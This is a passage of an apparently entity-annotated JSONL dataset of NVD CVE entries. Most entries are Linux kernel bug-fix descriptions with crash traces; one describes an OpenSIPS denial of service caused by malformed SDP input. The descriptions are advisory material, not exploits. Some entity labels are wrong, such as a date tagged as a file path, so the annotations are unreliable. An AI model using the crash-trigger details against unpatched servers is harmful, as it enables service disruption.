2479.386273]I[0:launcher-loader: 1719]  kasan_save_stack+0x58/0x70\n[ 2479.386303]I[0:launcher-loader: 1719]  save_stack_info+0x34/0x138\n[ 2479.386331]I[0:launcher-loader: 1719]  kasan_save_free_info+0x18/0x24\n[ 2479.386358]I[0:launcher-loader: 1719]  ____kasan_slab_free+0x16c/0x170\n[ 2479.386385]I[0:launcher-loader: 1719]  __kasan_slab_free+0x10/0x20\n[ 2479.386410]I[0:launcher-loader: 1719]  kmem_cache_free+0x238/0x53c\n[ 2479.386435]I[0:launcher-loader: 1719]  mempool_free_slab+0x1c/0x28\n[ 2479.386460]I[0:launcher-loader: 1719]  mempool_free+0x7c/0x1a0\n[ 2479.386484]I[0:launcher-loader: 1719]  bvec_free+0x34/0x80\n[ 2479.386514]I[0:launcher-loader: 1719]  bio_free+0x60/0x98\n[ 2479.386540]I[0:launcher-loader: 1719]  bio_put+0x50/0x21c\n[ 2479.386567]I[0:launcher-loader: 1719]  f2fs_write_end_io+0x4ac/0x4d0\n[ 2479.386594]I[0:launcher-loader: 1719]  bio_endio+0x2dc/0x300\n[ 2479.386622]I[0:launcher-loader: 1719]  __dm_io_complete+0x324/0x37c\n[ 2479.386650]I[0:launcher-loader: 1719]  dm_io_dec_pending+0x60/0xa4\n[ 2479.386676]I[0:launcher-loader: 1719]  clone_endio+0xf8/0x2f0\n[ 2479.386700]I[0:launcher-loader: 1719]  bio_endio+0x2dc/0x300\n[ 2479.386727]I[0:launcher-loader: 1719]  blk_update_request+0x258/0x63c\n[ 2479.386754]I[0:launcher-loader: 1719]  scsi_end_request+0x50/0x304\n[ 2479.386782]I[0:launcher-loader: 1719]  scsi_io_completion+0x88/0x160\n[ 2479.386808]I[0:launcher-loader: 1719]  scsi_finish_command+0x17c/0x194\n[ 2479.386833]I\n---truncated---", "spans": {"URL: https://lore.kernel.org/all/CACT4Y+aReMGLYua2rCLHgFpS9io5cZC04Q8GLs-uNmrn1ezxYQ@mail.gmail.com/#t": [[602, 699]], "FILEPATH: stackdepot.c": [[961, 973]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54322"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/msm/adreno: Fix null ptr access in adreno_gpu_cleanup()\n\nFix the below kernel panic due to null pointer access:\n[   18.504431] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000048\n[   18.513464] Mem abort info:\n[   18.516346]   ESR = 0x0000000096000005\n[   18.520204]   EC = 0x25: DABT (current EL), IL = 32 bits\n[   18.525706]   SET = 0, FnV = 0\n[   18.528878]   EA = 0, S1PTW = 0\n[   18.532117]   FSC = 0x05: level 1 translation fault\n[   18.537138] Data abort info:\n[   18.540110]   ISV = 0, ISS = 0x00000005\n[   18.544060]   CM = 0, WnR = 0\n[   18.547109] user pgtable: 4k pages, 39-bit VAs, pgdp=0000000112826000\n[   18.553738] [0000000000000048] pgd=0000000000000000, p4d=0000000000000000, pud=0000000000000000\n[   18.562690] Internal error: Oops: 0000000096000005 [#1] PREEMPT SMP\n**Snip**\n[   18.696758] Call trace:\n[   18.699278]  adreno_gpu_cleanup+0x30/0x88\n[   18.703396]  a6xx_destroy+0xc0/0x130\n[   18.707066]  a6xx_gpu_init+0x308/0x424\n[   18.710921]  adreno_bind+0x178/0x288\n[   18.714590]  component_bind_all+0xe0/0x214\n[   18.718797]  msm_drm_bind+0x1d4/0x614\n[   18.722566]  try_to_bring_up_aggregate_device+0x16c/0x1b8\n[   18.728105]  __component_add+0xa0/0x158\n[   18.732048]  component_add+0x20/0x2c\n[   18.735719]  adreno_probe+0x40/0xc0\n[   18.739300]  platform_probe+0xb4/0xd4\n[   18.743068]  really_probe+0xfc/0x284\n[   18.746738]  __driver_probe_device+0xc0/0xec\n[   18.751129]  driver_probe_device+0x48/0x110\n[   18.755421]  __device_attach_driver+0xa8/0xd0\n[   18.759900]  bus_for_each_drv+0x90/0xdc\n[   18.763843]  __device_attach+0xfc/0x174\n[   18.767786]  device_initial_probe+0x20/0x2c\n[   18.772090]  bus_probe_device+0x40/0xa0\n[   18.776032]  deferred_probe_work_func+0x94/0xd0\n[   18.780686]  process_one_work+0x190/0x3d0\n[   18.784805]  worker_thread+0x280/0x3d4\n[   18.788659]  kthread+0x104/0x1c0\n[   18.791981]  ret_from_fork+0x10/0x20\n[   18.795654] Code: f9400408 aa0003f3 aa1f03f4 91142015 (f9402516)\n[   18.801913] ---[ end trace 0000000000000000 ]---\n[   18.809039] Kernel panic - not syncing: Oops: Fatal exception\n\nPatchwork: https://patchwork.freedesktop.org/patch/515605/", "spans": {"URL: https://patchwork.freedesktop.org/patch/515605/": [[2178, 2225]], "FILEPATH: /msm/adreno": [[72, 83]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[224, 248]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54199"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: lpfc: Fix hard lockup when reading the rx_monitor from debugfs\n\nDuring I/O and simultaneous cat of /sys/kernel/debug/lpfc/fnX/rx_monitor, a\nhard lockup similar to the call trace below may occur.\n\nThe spin_lock_bh in lpfc_rx_monitor_report is not protecting from timer\ninterrupts as expected, so change the strength of the spin lock to _irq.\n\nKernel panic - not syncing: Hard LOCKUP\nCPU: 3 PID: 110402 Comm: cat Kdump: loaded\n\nexception RIP: native_queued_spin_lock_slowpath+91\n\n[IRQ stack]\n native_queued_spin_lock_slowpath at ffffffffb814e30b\n _raw_spin_lock at ffffffffb89a667a\n lpfc_rx_monitor_record at ffffffffc0a73a36 [lpfc]\n lpfc_cmf_timer at ffffffffc0abbc67 [lpfc]\n __hrtimer_run_queues at ffffffffb8184250\n hrtimer_interrupt at ffffffffb8184ab0\n smp_apic_timer_interrupt at ffffffffb8a026ba\n apic_timer_interrupt at ffffffffb8a01c4f\n[End of IRQ stack]\n\n apic_timer_interrupt at ffffffffb8a01c4f\n lpfc_rx_monitor_report at ffffffffc0a73c80 [lpfc]\n lpfc_rx_monitor_read at ffffffffc0addde1 [lpfc]\n full_proxy_read at ffffffffb83e7fc3\n vfs_read at ffffffffb833fe71\n ksys_read at ffffffffb83402af\n do_syscall_64 at ffffffffb800430b\n entry_SYSCALL_64_after_hwframe at ffffffffb8a000ad", "spans": {"FILEPATH: /sys/kernel/debug/lpfc/fnX/rx_monitor": [[174, 211]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50744"}}
{"text": "OpenSIPS is a Session Initiation Protocol (SIP) server implementation. Prior to versions 3.1.7 and 3.2.4, OpenSIPS crashes when a malformed SDP body is received and is processed by the `delete_sdp_line` function in the sipmsgops module. This issue can be reproduced by calling the function with an SDP body that does not terminate by a line feed (i.e. `\\n`).\n\nThe vulnerability was found while performing black-box fuzzing against an OpenSIPS server running a configuration that made use of the functions `codec_delete_except_re` and `codec_delete_re`. The same issue was also discovered while performing coverage guided fuzzing on the function `codec_delete_except_re`. The crash happens because the function `delete_sdp_line` expects that an SDP line is terminated by a line feed (`\\n`):\n\nBy abusing this vulnerability, an attacker is able to crash the server. It affects configurations containing functions that rely on the affected code, such as the function `codec_delete_except_re`. Due to the sanity check that is performed in the `del_lump` function, exploitation of this issue will generate an `abort` in the lumps processing function, resulting in a Denial of Service. This issue has been fixed in versions 3.1.7 and 3.2.4.", "spans": {"VULNERABILITY: Denial of Service": [[1160, 1177]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-27601"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_ct: fix skb leak and crash on ooo frags\n\nact_ct adds skb->users before defragmentation. If frags arrive in order,\nthe last frag's reference is reset in:\n\n  inet_frag_reasm_prepare\n    skb_morph\n\nwhich is not straightforward.\n\nHowever when frags arrive out of order, nobody unref the last frag, and\nall frags are leaked. The situation is even worse, as initiating packet\ncapture can lead to a crash[0] when skb has been cloned and shared at the\nsame time.\n\nFix the issue by removing skb_get() before defragmentation. act_ct\nreturns TC_ACT_CONSUMED when defrag failed or in progress.\n\n[0]:\n[  843.804823] ------------[ cut here ]------------\n[  843.809659] kernel BUG at net/core/skbuff.c:2091!\n[  843.814516] invalid opcode: 0000 [#1] PREEMPT SMP\n[  843.819296] CPU: 7 PID: 0 Comm: swapper/7 Kdump: loaded Tainted: G S 6.7.0-rc3 #2\n[  843.824107] Hardware name: XFUSION 1288H V6/BC13MBSBD, BIOS 1.29 11/25/2022\n[  843.828953] RIP: 0010:pskb_expand_head+0x2ac/0x300\n[  843.833805] Code: 8b 70 28 48 85 f6 74 82 48 83 c6 08 bf 01 00 00 00 e8 38 bd ff ff 8b 83 c0 00 00 00 48 03 83 c8 00 00 00 e9 62 ff ff ff 0f 0b <0f> 0b e8 8d d0 ff ff e9 b3 fd ff ff 81 7c 24 14 40 01 00 00 4c 89\n[  843.843698] RSP: 0018:ffffc9000cce07c0 EFLAGS: 00010202\n[  843.848524] RAX: 0000000000000002 RBX: ffff88811a211d00 RCX: 0000000000000820\n[  843.853299] RDX: 0000000000000640 RSI: 0000000000000000 RDI: ffff88811a211d00\n[  843.857974] RBP: ffff888127d39518 R08: 00000000bee97314 R09: 0000000000000000\n[  843.862584] R10: 0000000000000000 R11: ffff8881109f0000 R12: 0000000000000880\n[  843.867147] R13: ffff888127d39580 R14: 0000000000000640 R15: ffff888170f7b900\n[  843.871680] FS:  0000000000000000(0000) GS:ffff889ffffc0000(0000) knlGS:0000000000000000\n[  843.876242] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  843.880778] CR2: 00007fa42affcfb8 CR3: 000000011433a002 CR4: 0000000000770ef0\n[  843.885336] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[  843.889809] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[  843.894229] PKRU: 55555554\n[  843.898539] Call Trace:\n[  843.902772]  <IRQ>\n[  843.906922]  ? __die_body+0x1e/0x60\n[  843.911032]  ? die+0x3c/0x60\n[  843.915037]  ? do_trap+0xe2/0x110\n[  843.918911]  ? pskb_expand_head+0x2ac/0x300\n[  843.922687]  ? do_error_trap+0x65/0x80\n[  843.926342]  ? pskb_expand_head+0x2ac/0x300\n[  843.929905]  ? exc_invalid_op+0x50/0x60\n[  843.933398]  ? pskb_expand_head+0x2ac/0x300\n[  843.936835]  ? asm_exc_invalid_op+0x1a/0x20\n[  843.940226]  ? pskb_expand_head+0x2ac/0x300\n[  843.943580]  inet_frag_reasm_prepare+0xd1/0x240\n[  843.946904]  ip_defrag+0x5d4/0x870\n[  843.950132]  nf_ct_handle_fragments+0xec/0x130 [nf_conntrack]\n[  843.953334]  tcf_ct_act+0x252/0xd90 [act_ct]\n[  843.956473]  ? tcf_mirred_act+0x516/0x5a0 [act_mirred]\n[  843.959657]  tcf_action_exec+0xa1/0x160\n[  843.962823]  fl_classify+0x1db/0x1f0 [cls_flower]\n[  843.966010]  ? skb_clone+0x53/0xc0\n[  843.969173]  tcf_classify+0x24d/0x420\n[  843.972333]  tc_run+0x8f/0xf0\n[  843.975465]  __netif_receive_skb_core+0x67a/0x1080\n[  843.978634]  ? dev_gro_receive+0x249/0x730\n[  843.981759]  __netif_receive_skb_list_core+0x12d/0x260\n[  843.984869]  netif_receive_skb_list_internal+0x1cb/0x2f0\n[  843.987957]  ? mlx5e_handle_rx_cqe_mpwrq_rep+0xfa/0x1a0 [mlx5_core]\n[  843.991170]  napi_complete_done+0x72/0x1a0\n[  843.994305]  mlx5e_napi_poll+0x28c/0x6d0 [mlx5_core]\n[  843.997501]  __napi_poll+0x25/0x1b0\n[  844.000627]  net_rx_action+0x256/0x330\n[  844.003705]  __do_softirq+0xb3/0x29b\n[  844.006718]  irq_exit_rcu+0x9e/0xc0\n[  844.009672]  common_interrupt+0x86/0xa0\n[  844.012537]  </IRQ>\n[  844.015285]  <TASK>\n[  844.017937]  asm_common_interrupt+0x26/0x40\n[  844.020591] RIP: 0010:acpi_safe_halt+0x1b/0x20\n[  844.023247] Code: ff 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 65 48 8b 04 25 00 18 03 00 48 8b 00 a8 08 75 0c 66 90 0f 00 2d 81 d0 44 00 fb\n---truncated---", "spans": {"FILEPATH: /core/skbuff.c": [[756, 770]], "FILEPATH: /25/2022": [[985, 993]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52610"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrcu: Fix __this_cpu_read() lockdep warning in rcu_force_quiescent_state()\n\nRunning rcutorture with non-zero fqs_duration module parameter in a\nkernel built with CONFIG_PREEMPTION=y results in the following splat:\n\nBUG: using __this_cpu_read() in preemptible [00000000]\ncode: rcu_torture_fqs/398\ncaller is __this_cpu_preempt_check+0x13/0x20\nCPU: 3 PID: 398 Comm: rcu_torture_fqs Not tainted 6.0.0-rc1-yoctodev-standard+\nCall Trace:\n<TASK>\ndump_stack_lvl+0x5b/0x86\ndump_stack+0x10/0x16\ncheck_preemption_disabled+0xe5/0xf0\n__this_cpu_preempt_check+0x13/0x20\nrcu_force_quiescent_state.part.0+0x1c/0x170\nrcu_force_quiescent_state+0x1e/0x30\nrcu_torture_fqs+0xca/0x160\n? rcu_torture_boost+0x430/0x430\nkthread+0x192/0x1d0\n? kthread_complete_and_exit+0x30/0x30\nret_from_fork+0x22/0x30\n</TASK>\n\nThe problem is that rcu_force_quiescent_state() uses __this_cpu_read()\nin preemptible code instead of the proper raw_cpu_read().  This commit\ntherefore changes __this_cpu_read() to raw_cpu_read().", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50771"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncounter: interrupt-cnt: Drop IRQF_NO_THREAD flag\n\nAn IRQ handler can either be IRQF_NO_THREAD or acquire spinlock_t, as\nCONFIG_PROVE_RAW_LOCK_NESTING warns:\n=============================\n[ BUG: Invalid wait context ]\n6.18.0-rc1+git... #1\n-----------------------------\nsome-user-space-process/1251 is trying to lock:\n(&counter->events_list_lock){....}-{3:3}, at: counter_push_event [counter]\nother info that might help us debug this:\ncontext-{2:2}\nno locks held by some-user-space-process/....\nstack backtrace:\nCPU: 0 UID: 0 PID: 1251 Comm: some-user-space-process 6.18.0-rc1+git... #1 PREEMPT\nCall trace:\n show_stack (C)\n dump_stack_lvl\n dump_stack\n __lock_acquire\n lock_acquire\n _raw_spin_lock_irqsave\n counter_push_event [counter]\n interrupt_cnt_isr [interrupt_cnt]\n __handle_irq_event_percpu\n handle_irq_event\n handle_simple_irq\n handle_irq_desc\n generic_handle_domain_irq\n gpio_irq_handler\n handle_irq_desc\n generic_handle_domain_irq\n gic_handle_irq\n call_on_irq_stack\n do_interrupt_handler\n el0_interrupt\n __el0_irq_handler_common\n el0t_64_irq_handler\n el0t_64_irq\n\n... and Sebastian correctly points out. Remove IRQF_NO_THREAD as an\nalternative to switching to raw_spinlock_t, because the latter would limit\nall potential nested locks to raw_spinlock_t only.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-71180"}}